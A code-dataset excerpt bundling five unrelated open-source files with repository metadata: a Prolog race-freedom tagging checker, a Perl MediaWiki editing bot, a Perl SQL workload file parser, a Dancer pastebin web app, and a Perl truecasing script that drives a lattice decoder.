:- module(tags, [ fresh_pred_sym/1, tag_recvs/3, check_tags/1, tag_term/2, check_race_freedom/2, tags_independent/2 ], [hidden(false)]). :- use_module(library(ordsets)). :- use_module(library(terms)). :- use_module('lib/misc.pl', [ fresh_pred_sym/1]). /* tag(a, t): action a has tag t. */ :- dynamic tags/2, /* tags(P-Q, Tags): sends with tags Tags were sent on channel P-Q. */ proc/1, /* proc(P): P is a process in the current universe. */ proc/2, /* proc(Tag, Proc): Tag "Tag" belongs to process p. */ talksto/2, /* talksto(P,Q) : Q can receive messages from P */ type/2, /* type(Tag, Type): Tag "Tag" belongs to a send of type "Type". */ sym_set/1. /* sym_set(S): S is a set of symmetric processes. */ cleanup :- retractall(tags(_,_)), retractall(proc(_)), retractall(proc(_,_)), retractall(talksto(_,_)), retractall(type(_,_)), retractall(sym_set(_)). tag_sends(T, Proc, T1) :- /* Recursively traverses T and transforms each send S into tag(S, Tag), where Tag is a fresh constant. While tagging, it updates the data-structures described in the dynamic predicates above. Proc either contains var(P, S) to indicate that variable P is bound to a process in set S, or none otherwise. */ ( simple(T) -> T1=T ; ( functor(T, send, 3) -> T=send(P, X, _) ; functor(T, send, 4) -> T=send(P, X, Type, _) ) -> fresh_pred_sym(Tag), ( nonvar(Type)-> assert(type(Tag, Type)) ; true ), ( X=e_pid(Q) -> true ; X=e_var(_) -> true ; throw(parse-pid-error(X)) ), sub_sym_set(P, Proc, P1), sub_sym_set(Q, Proc, Q1), assert(proc(Tag, P1)), assert(tags(P1-Q1, Tag)), T1=tag(T, Tag) ; functor(T, sym, 3) -> T=sym(P, S, A), assert(sym_set(S)), tag_sends(A, var(P, S), A1), T1=sym(P, S, A1) ; functor(T, for, 4) -> T=for(M, P, S, A), assert(sym_set(S)), tag_sends(A, var(P, S), A1), T1=for(M, P, S, A1) ; same_functor(T, T1), ( foreacharg(Arg, T), foreacharg(Arg1, T1), param(Proc) do tag_sends(Arg, Proc, Arg1) ) ). tag_recvs(T, Proc, T1) :- /* Tag each receive with all tags on the appropriate channel. */ ( simple(T) -> T1=T ; functor(T, recv, 2) -> T=recv(P, _), sub_sym_set(P, Proc, P1), findall(Tag, (tags(Q-P1,Tag), Q\=P1), Tags), set_talksto(P1, Tags), T1=tag(T, Tags) ; ( functor(T, recv, 3) -> T=recv(P, X, _) ; functor(T, recv, 4) -> T=recv(P, X, Type, _) ), sub_sym_set(P, Proc, P1), ( X=e_pid(Q) -> true ; X=e_var(_) -> true ; X=type(Type) -> true ; throw(parse-pid-error(X)) ), sub_sym_set(Q, Proc, Q1), findall(Tag, (tags(Q1-P1,Tag), Q1\=P1, (nonvar(Type)->type(Tag, Type);true)), Tags)-> set_talksto(P1, Tags), T1=tag(T, Tags) ; functor(T, sym, 3) -> T=sym(P, S, A), tag_recvs(A, var(P, S), A1), T1=sym(P, S, A1) ; functor(T, for, 4) -> T=for(M, P, S, A), tag_recvs(A, var(P, S), A1), T1=for(M, P, S, A1) ; same_functor(T, T1), ( foreacharg(Arg, T), foreacharg(Arg1, T1), param(Proc) do tag_recvs(Arg, Proc, Arg1) ) ). set_talksto(P, Tags) :- ( foreach(Tag, Tags), param(P) do ( proc(Tag, Q), P\==Q-> assert(talksto(P,Q)) ; true ) ). check_tags(T) :- /* Checks if all receive tag-sets either a) consist of a single tag or b) constist of tags from the same process and that process is not symmetric. */ ( simple(T) -> true ; functor(T, tag, 2), T=tag(Rec, Tags), functor(Rec, recv, _) -> T=tag(Rec, Tags), ( Tags=[Tag]-> true ; ( foreach(Tag, Tags), param(Proc, T) do proc(Tag, Proc), \+sym_set(Proc) -> true ; throw(race-condition(T)) ) ) ; ( foreacharg(Arg, T) do check_tags(Arg) ) ). sub_sym_set(P, Proc, P1) :- /* If P belongs to a symmetric set S, then P1=S, and P1=P, otherwise. */ ( Proc=var(Q, S), Q==P-> P1=S ; P1=P ). get_procs(T) :- /*Recursively traverse T and assert proc(P), if process P performs an action.*/ ( simple(T) -> true ; functor(T, F, _), ord_member(F, [assign,if,ite,iter,recv,send,while])-> arg(1, T, P), assert(proc(P)) ; functor(T, for, 4)-> arg(1, T, M), arg(3, T, P), assert(proc(P)), assert(proc(M)) ; functor(T, sym, 3), arg(2, T, P), assert(proc(P)) ; functor(T, nondet, _) ; ( foreacharg(Arg, T) do get_procs(Arg) ) ). tags_independent(P, Q) :- /* Two processes P and are independent iff no sends happen along the channel P-Q. */ proc(P), proc(Q), P\==Q, \+talksto(P,Q), \+talksto(Q,P). tag_term(T, T2) :- cleanup, get_procs(T), tag_sends(T, none, T1), tag_recvs(T1, none, T2). check_race_freedom(T, T1) :- tag_term(T, T1), portray_clause(T1), check_tags(T1).
abakst/symmetry
rewrites/src/tags.pl
Perl
mit
4,988
######################### # # Filename: WikiBot.pm # Project: None # Platform: N/A # Summary: A perl module that provides the base functionality to create # an automated script for editing articles in a mediawiki # installation. # ######################### package WikiBot; use strict; use warnings; use utf8; use vars qw($VERSION @ISA @EXPORT @EXPORT_OK); use Error; use HTML::Entities; use LWP; use XML::Simple; require Exporter; @ISA = qw(Exporter AutoLoader); @EXPORT = qw($VERSION); $VERSION = '0.01'; my %attr = (); my $browser; my $xml; ######################### # # new - the constructor method for a WikiBot object # # params # pkg - The package type of this object (passed by default with new) # @_ - A hash of parameters including # url - the url of the wiki # username - the user name assigned to the bot in the wiki # passwd - the plaintext password of the user # # returns # a newly created WikiBot object # ######################### sub new { my $pkg = shift; $browser = LWP::UserAgent->new; push @{ $browser->requests_redirectable }, 'POST'; $xml = new XML::Simple; %attr = @_; if (defined($attr{'username'})) { if( !isUser($attr{'username'}) ) { $attr{'username'} = ''; } } return bless ({}, $pkg); } # end of constructor method ######################### # # setUser - Changes the user attribute of the object # # params # user - The name of the user to use for this object # ######################### sub setUser { # Empty null variable shift; $user = shift; if (isUser($user)) { $attr{'username'} = $user; } } # end of setUser method ######################### # # getUser - Returns the user attribute of the object # # returns # a string containing the user name associated with the object # ######################### sub getUser { return $attr{'username'}; } # end of getUser method ######################### # # setPass - Changes the password attribute of the object # # params # passwd - The password for the object # ######################### sub setPass { # Empty null variable shift; $attr{'passwd'} = shift; } # end of setPass method ######################### # # setURL - Changes the URL attribute of the object # # params # url - The base url of the wiki installation # ######################### sub setURL { # Empty null variable shift; $attr{'url'} = shift; } # end of setURL method ######################### # # getURL - Returns the base url associated with the object # # returns # a string containing the base url attribute # ######################### sub getURL { return $attr{'url'}; } # end of the getURL method ######################### # # isUser - Determines whether a given user name is a user in the wiki or not # # params # name - The name of the user to validate # # returns # 1 if user is valid, 0 if invalid # ######################### sub isUser { my $name = shift; # Grab the user list from the wiki my $con = _XMLize("http://" . $attr{'url'} . "/index.php/Special:Listusers"); # Convert XML entity to a string $_ = XMLout($con->{body}->{div}->{div}->[0]->{div}->{div}->{ol}->{li}); # Convert string to an array my @res = />(\w*)<\/a/g; foreach (@res) { # if the current name matches $name then it is valid if (lc($_) eq lc($name)) { return 1; } } return 0; } # end of isUser method ######################### # # _XMLize - Takes a URL and turns it into an XML entity # # params # url - The URL of a page to be converted # # returns # an XML object # ######################### sub _XMLize { my $url = shift; my $response = $browser->get($url)->content; $response =~ s/&nbsp\;/&#160\;/gi; return $xml->XMLin($response); } # end of XMLize method ######################### # # login - Log the user into the mediawiki installation # ######################### sub login { if (defined($attr{'url'}) && defined($attr{'username'})) { $browser->cookie_jar({}); my $furl = "http://" . $attr{'url'} . "/index.php?action=submitLogin" . "&title=Special:Userlogin"; # Submit login data to the wiki return $browser->post( $furl, [ 'wpName' => $attr{'username'}, 'wpPassword' => $attr{'passwd'}, 'wpRemember' => 1, 'wpLoginattempt' => 'Log In', ] ); } else { print "User name or site not set\n"; } } # end of login method ######################### # # logout - Logs the user out of the mediawiki installation # ######################### sub logout { my $furl = "http://" . $attr{'url'} . "/index.php?title=Special:" . "Userlogout"; $browser->get($furl); } # end of logout method ######################### # # getArticle - Get article contents from the wiki # # params # article - the article title to retrieve # # returns # a string containing the entire contents of the article # ######################### sub getArticle { # Empty null variable shift; my $article = shift; my $con = _XMLize("http://" . $attr{'url'} . "/index.php/Special:Export/" . $article); return $con->{page}->{revision}->{text}->{content}; } # end of getArticle method ######################### # # setArticle - Set article contents in the wiki # # params # wpTextbox1 - The new contents of the article # article - The title of the article # ######################### sub setArticle { # Empty null variable shift; my $wpTextbox1 = shift; my $article = shift; encode_entities($article); # Retrieve the edit page for the specified article my $data = _XMLize("http://" . $attr{'url'} . "/index.php?title=" . $article . "&action=edit"); $data = $data->{body}->{div}->{div}->[0]->{div}->{div}->{form}; # Gather values needed to pass back during submission my $wpSection = $data->{input}->{wpSection}->{value}; my $wpSummary = $data->{input}->{wpSummary}->{value}; my $wpWatchthis = 0; my $wpMinoredit = $data->{input}->{wpMinoredit}->{value}; my $wpEditToken = $data->{input}->{wpEditToken}->{value}; my $wpEdittime = $data->{input}->{wpEdittime}->{value}; my $temp = $data->{textarea}->{content}; # Submit new content to wiki if ($wpTextbox1 ne $temp) { $browser->post("http://" . $attr{'url'} . "/index.php?title=" . $article . "&action=submit", [ wpSection => $wpSection, wpSummary => $wpSummary, wpWatchthis => $wpWatchthis, wpMinoredit => $wpMinoredit, wpEditToken => $wpEditToken, wpEdittime => $wpEdittime, wpTextbox1 => $wpTextbox1 ] ); } } # end of setArticle method ######################### # # getAll - Retrieves all articles in a wiki # # returns # an array of article titles from the wiki # ######################### sub getAll { # Empty list to store titles in my @list; # Retrieve contents of the All Pages page my $con = _XMLize("http://" . $attr{'url'} . "/index.php/Special:Allpages"); my $a = $con->{body}->{div}->{div}->[0]->{div}->{div}->{table}->[1]->{tr}; my $x = 0; # For each row of articles listed... while (defined($a->[$x])) { my $b = $a->[$x]->{td}; my $y = 0; # For each column of articles listed... while (defined($b->[$y])) { my $c = $b->[$y]->{a}->{title}; if (defined($c)) { $c =~ s/\ /_/gi; push(@list, $c); } $y++; } $x++; } return @list; } # end of getAll method ######################### # # getRecent - Get a list of articles that were recently changed # # returns # an array of article titles # ######################### sub getRecent { my @list; my $con = _XMLize("http://" . $attr{'url'} . "/index.php?title=" . "Special:Recentchanges&hidepatrolled=0&days=1"); my $a = $con->{body}->{div}->{div}->[0]->{div}->{div}->{ul}; my $x = 0; eval { while (defined($a->[$x])) { my $b = $a->[$x]->{li}; my $y = 0; while (defined($b->[$y])) { my $c = $b->[$y]->{a}->[0]->{title}; my $d = 0; if ($c =~ /Special.*/) { $y++; next; } foreach (@list) { if ($c eq $_) { $d = 1; } } if ($d == 0) { push(@list, $c); } $y++; } $x++; } }; if ($@) { while (defined($a->[$x])) { my $b = $a->[$x]->{a}->[0]->{title}; my $c = 0; if ($b =~ /Special.*/) { $x++; next; } foreach (@list) { if ($b eq $_) { $c = 1; } } if ($c == 0) { push(@list, $b); } $x++; } } return @list; } # end of getRecent method ######################### # # getCategory - Returns a list of articles that are in the specified category # # params # cat - The category of articles to retrieve # # returns # an array of article titles in the specified category # ######################### sub getCategory { # Empty null variable shift; my @list; my $cat = shift; # Get XML entity of Category listing my $con = _XMLize("http://" . $attr{'url'} . "/index.php/Category:" . $cat); my $a = $con->{body}->{div}->{div}->[0]->{div}->{div}->{table}->{tr}->{td}; my $x = 0; # For each row on the category page while (defined($a->[$x])) { my $b = $a->[$x]->{ul}; my $y = 0; # For each list in the row while (defined($b->[$y])) { my $c = $b->[$y]->{li}; my $z = 0; eval { # For each item in the list while (defined($c->[$z])) { my $d = $c->[$z]->{a}->{title}; $d =~ s/\ /_/gi; push(@list, $d); $z++; } }; if ($@) { my $d = $c->{a}->{title}; $d =~ s/\ /_/gi; push(@list, $d); } $y++; } $x++; } return @list; } # End of getCategory method 1; __END__
codemonkey2841/WikiBots
WikiBot.pm
Perl
mit
10,330
# Jared Still # 2017-01-24 # jkstill@gmail.com # still@pythian.com package Sqlrun::File; use strict; use IO::File; use Data::Dumper; require Exporter; our @ISA= qw(Exporter); #our @EXPORT_OK = ( 'sub-1','sub-2'); our $VERSION = '0.01'; use vars qw(%fileParsers $test); my $test='this is a dang test'; sub _parseParms { my $self = shift; my $parmFH = new IO::File; my $parmFileFQN = $self->{FQN}; $parmFH->open($parmFileFQN,'<') if -r $parmFileFQN; die "Cannot open $parmFileFQN \n" unless $parmFH; my $debug = $self->{DEBUG}; while (<$parmFH>){ s/^\s+//; # strip leading whitespace next if /^#|^$/; print if $debug; chomp; my @parmLine = split(/,/); my $parmName = shift(@parmLine); my $parmValue = join('',@parmLine); $self->{HASH}->{$parmName} = $parmValue; } $parmFH->close if $parmFH; } =head1 sub classifySQL Classify SQL statements as one of the following SELECT DML (UPDATE/DELETE/INSERT/MERGE) PL/SQL =cut sub classifySQL { my $lSql = ${$_[0]}; # strip comments and leading space #print "XXXXXXXXXXXXXX Before SQL: $lSql\n"; $lSql =~ s/^\s*--.*$//gom; # comments $lSql =~ s/\n/ /gosm; # newlines $lSql =~ s/^\s+//gosm; # leading space #$lSql =~ s/^$//gnr; # the resulting string should be begin with # select # update # delete # insert # merge # begin # declare #print "XXXXXXXXXXXXXX After SQL: |$lSql|\n"; my ($type) = split(/\s+/,uc($lSql)); if ($type =~ /UPDATE|DELETE|INSERT|MERGE/ ) { return 'DML' } elsif ( $type =~ /SELECT|WITH/ ) { return 'SELECT' } elsif ( $type =~ /BEGIN|DECLARE/ ) { return 'PLSQL' } else { return 'UNKNOWN' } } =head1 sub _parseSQL Open and read SQL files classify the SQL as DML - SELECT - PL/SQL =cut sub _parseSQL { my $self = shift; my $debug = $self->{DEBUG}; my $sqlParmFileFQN = $self->{FQN}; my $sqlParms = $self->{HASH}; my $binds = $self->{BINDS}; my $sqlArray = $self->{SQL}; my $sqlDir = $self->{SQLDIR}; my $exeMode = $self->{EXEMODE}; print qq{ SQL PARSER: DEBUG: $debug sqlParmFileFQN: $sqlParmFileFQN exeMode: $exeMode }; # first get the parameters # this should be a separate subroutine my $sqlParmFileFH = new IO::File; $sqlParmFileFH->open($sqlParmFileFQN,'<') if -r $sqlParmFileFQN; die "Cannot open $sqlParmFileFQN \n" unless $sqlParmFileFH; my $delimiter=<$sqlParmFileFH>; chomp $delimiter; $delimiter =~ s/\s+//; print "Delimiter: |$delimiter|\n" if $debug; while (<$sqlParmFileFH>){ s/^\s+//; # strip leading whitespace next if /^#|^$/; print if $debug; chomp; my ($frequency,$sqlScript,$bindFile) = split(/${delimiter}/); $sqlParms->{$sqlScript} = $frequency; print qq{ =================== sqlscript: $sqlScript bindfile: $bindFile frequency: $frequency } if $debug; if ($bindFile) { my $bindFileFQN = "${sqlDir}/${bindFile}"; die "cannot read bind file $bindFileFQN\n" unless -r $bindFileFQN; my $bindFileFH = new IO::File; $bindFileFH->open($bindFileFQN,'<'); my @tmpAry = (); while (<$bindFileFH>) { chomp; my $line=$_; print "BIND LINE: $line\n" if $debug; push @tmpAry, [split(/$delimiter/,$line)]; } $binds->{$sqlScript} = \@tmpAry; #print 'TMP ARRAY: ', Dumper(\@tmpAry); die "No bind values found - is $bindFileFQN empty?\n" unless keys %{$binds}; } } $sqlParmFileFH->close; foreach my $sqlFile(keys %{$sqlParms}) { my $sqlFileFQN = "${sqlDir}/${sqlFile}"; my $sqlFileFH = new IO::File; $sqlFileFH->open($sqlFileFQN,'<') if -r $sqlFileFQN; my @lines = <$sqlFileFH>; my $sql = join('',grep(!/^\s*$/,@lines)); # skip blank lines chomp $sql; print "SQL: $sql\n" if $debug; my $sqlType = classifySQL(\$sql); # need to determine if SQL is SELECT, DML or PL/SQL # may be other types, so use dispatch tables to process # do not forget CTE (WITH clause) # for (my $i=0;$i < ($exeMode eq 'semi-random' ? $sqlParms->{$sqlFile} : 1); $i++) { push @{$sqlArray}, {$sqlFile,[$sqlType,$sql]}; } #if ($exeMode eq 'semi-random' ) { #} else { #} } } my %fileParsers = ( parameters => \&_parseParms, sql => \&_parseSQL ); sub new { my $pkg = shift; my $class = ref($pkg) || $pkg; #print "Class: $class\n"; my (%args) = @_; # #print 'args: ' , Dumper($args); # #print "args: " , Dumper($args); #my $self = { #FQN => $args->{'FQN'}, #TYPE => $args->{'parameters'}, #HASH => $args->{HASH}, #}; my $retval = bless \%args, $class; return $retval; } sub parse { my $self = shift; my $parseType = lc($self->{TYPE}); my $debug = $self->{DEBUG}; if ($debug) { print "TYPE: $parseType\n" ; print "Self: " , Dumper($self); } die "$parseType invalid for 'parse'\n" unless $fileParsers{$parseType}; $fileParsers{$parseType}->($self); } 1;
jkstill/sqlrun
lib/Sqlrun/File.pm
Perl
mit
4,766
package EABPaste; use 5.010; use strict; use warnings; use threads; use Dancer ':syntax'; use Dancer::Plugin::Database; use Dancer::Plugin::IRCNotice; our $VERSION = '0.1'; if ($ENV{DATABASE_URL}) { warning "Database URL: $ENV{DATABASE_URL}"; my ($scheme, $user, $pass, $host, $port, $path) = ($ENV{DATABASE_URL} =~ m|^(\w+)://(.+?):(.+?)@(.+?):(\d+?)/(\w+)$|); my $driver = ''; if ($scheme eq 'postgres') { $driver = 'Pg'; } config->{plugins}{Database} = { driver => $driver, database => $path, host => $host, port => $port, username => $user, password => $pass, }; } get '/' => sub { template 'index'; }; my @chars = split //, 'abcdefghijklmnopqrstuvwxyz0123456789'; post '/' => sub { my $token = join '', map $chars[ int rand @chars ], 1 .. 6; my $content; if (my $file = upload('file')) { $content = $file->content; } else { $content = param('paste'); } my $title = param('title') || 'untitled'; my $author = param('author') || 'anonymous'; database->quick_insert( pastes => { token => $token, title => $title, author => $author, data => $content, created => time, }); async { notify("$title @ http://paste.eatabrick.org/$token ($author)"); }->detach(); redirect "/$token", 303; }; get '/search' => sub { my $query = param('q'); my @pastes = database->quick_select( pastes => { title => { like => "%$query%" }, }, { order_by => { desc => 'created' }, limit => 25, }); template 'list', { pastes => \@pastes, title => 'search results' }; }; get '/rss' => sub { content_type 'text/xml'; my @pastes = database->quick_select( pastes => {}, { order_by => { desc => 'created' }, limit => 25, }); template 'rss', { pastes => \@pastes }, { layout => undef }; }; # should be /recent but that conflicts with a possible token get '/hist' => sub { my @pastes = database->quick_select( pastes => {}, { order_by => { desc => 'created' }, limit => 25, }); template 'list', { pastes => \@pastes, title => 'recent pastes' }; }; get '/by/:author' => sub { my @pastes = database->quick_select( pastes => { author => param('author') }, { order_by => { desc => 'created' } }, ); if (@pastes) { template 'list', { pastes => \@pastes, title => 'pastes by ' . param('author'), }; } else { status 'not_found'; template '404'; } }; get '/:token.txt' => sub { if (my $paste = database->quick_select(pastes => { token => param('token') })) { content_type 'text/plain'; return $paste->{data}; } else { status 'not_found'; template '404'; } }; get '/:token' => sub { if (my $paste = database->quick_select(pastes => { token => param('token') })) { template 'view', $paste; } else { status 'not_found'; template '404'; } }; any qr{.*} => sub { status 'not_found'; template '404'; }; 1;
bentglasstube/eab-paste
lib/EABPaste.pm
Perl
mit
3,013
#!/usr/bin/perl use strict; use Parallel::ForkManager; use Getopt::Long; use File::Temp qw(tempdir); binmode(STDIN, ":utf8"); binmode(STDOUT, ":utf8"); my $DECODE = ""; my $LM = ""; my $THREADS = 16; GetOptions( "t|threads=i" => \$THREADS, "lm=s" => \$LM, "d|decode=s" => \$DECODE, ); die "Specify path to lazy/decode with --decode path" if(not -e $DECODE); die "Specify path to lm with --lm path" if(not -e $LM); print STDERR "Using $THREADS threads\n"; my $DIR = tempdir(CLEANUP => 1); print STDERR "Creating Graphs\n"; while (<STDIN>) { if ($. % 10000 == 0) { print STDERR "[$.]\n"; } chomp; writeGraph($_, $. - 1, $DIR); } print STDERR "Loading $LM\n"; my $WEIGHTS = "LanguageModel=1 LanguageModel_OOV=1 WordPenalty=0"; open(DECODE, "$DECODE -i $DIR --beam 10 --lm $LM -W $WEIGHTS --threads $THREADS |") or die "Could not start decoder"; binmode(DECODE, ":utf8"); my $c = 0; print STDERR "Recasing\n"; while (<DECODE>) { $c++; if ($c % 10000 == 0) { print STDERR "[$.]\n"; } my (undef, $text) = split(/\s+\|\|\|\s+/, $_); print "$text\n"; } close(DECODE); print STDERR "Done\n"; sub writeGraph { my ($sentence, $no, $dir) = @_; my @words = split(/\s/, $sentence); my $v = 0; my $e = 0; my @g; push(@g, ["<s>"]); $v++; $e++; foreach my $w (@words) { my @e = ( $w ); $v++; $e++; if ($w ne lc($w)) { push(@e, lc($w)); $e++; } push(@g, [@e]); } push(@g, ["</s>"]); $v++; $e++; open(GRAPH, ">:utf8", "$dir/$no") or die "Could not open $dir/$no: $!\n"; print GRAPH "$v $e\n"; my $c = 0; foreach(@g) { print GRAPH scalar @$_, "\n"; foreach (@$_) { if ($c > 0) { print GRAPH "[", ($c - 1), "] "; } print GRAPH "$_ |||\n"; } $c++; } close(GRAPH); }
grammatical/baselines-emnlp2016
train/scripts/case_graph.perl
Perl
mit
1,912